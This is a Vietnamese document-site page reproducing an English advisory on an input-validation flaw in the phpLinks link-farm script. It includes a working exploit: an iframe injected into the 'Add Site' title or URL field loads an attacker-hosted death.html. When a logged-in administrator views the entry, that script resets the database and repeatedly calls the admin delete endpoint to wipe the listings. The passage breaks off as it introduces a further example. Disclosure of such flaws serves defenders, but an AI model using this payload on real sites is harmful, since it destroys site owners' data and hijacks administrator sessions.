Thư viện tri thức trực tuyến
Kho tài liệu với 50,000+ tài liệu học thuật
© 2023 Siêu thị PDF - Kho tài liệu học thuật hàng đầu Việt Nam

Lỗi bảo mật với Multiple PHPLink pot
Nội dung xem thử
Mô tả chi tiết
.Lỗi bảo mật với Multiple PHPLink, cho phép truy cập với quyền admin :
trang này đã được đọc lần
phplinks là một free software được dùng rất phổ biến trong link farm or search
engine có lỗi bảo mật cho phép chèn scripts nguy hiểm vào scripts và có quyền
giống như một admin sites!
sau đây là chi tiết nội dung :
phpLinks is an open source free PHP script. phpLinks allows you to run a
very powerful link farm or search engine. phpLinks has multilevel site
categorization, infinite threaded search capabilities and
more. phpLinks is very simple to setup
There lies a fault in the include/add.php script that allows a remote
attacker to inject code into the script and have it run as an admin. The
vulnerability comes from improper input validation and improper session
authentication. Below Is some example code that I have written.
Put this in one of the field on "Add Site" form located at
http://blah/phplinks/index.php?show=add&PID=
If you inject the code into the Site Title or Site Url field, the code
will be ran as soon as a logged in administrator views it.
<iframe src=http://blah/death.html></iframe>
Below is the code for the called file "death.html"
---------------------------------------------------------------------------
<script language=JavaScript>
var i = 10; // This is the number of the user ID to start deleting
var BaseURL = "http://victimsite/phplinks/";
window.open(BaseURL + '/admin/reset.php?
reset_in=&reset_out=&search_terms=&referrers=&submit='); // this resets
the database
function Waste()
{
while (i) {
i++;
window.open(BaseURL + 'admin/delete_site.php?dbtable=links&ID=' + i
+ '&sure=Yes');
}
}
</script>
<body onLoad="Waste();">
---------------------------------------------------------------------------
As you can see, that code (when called by a logged in admin validating
sites) is run, the database is in alot of cases going to be left empty. By
the way, the dbtable=links can be changed to dbtable=temp in order to
affect sites not yet approved etc. On the other hand you can add users to
the database and more. Take the following code for example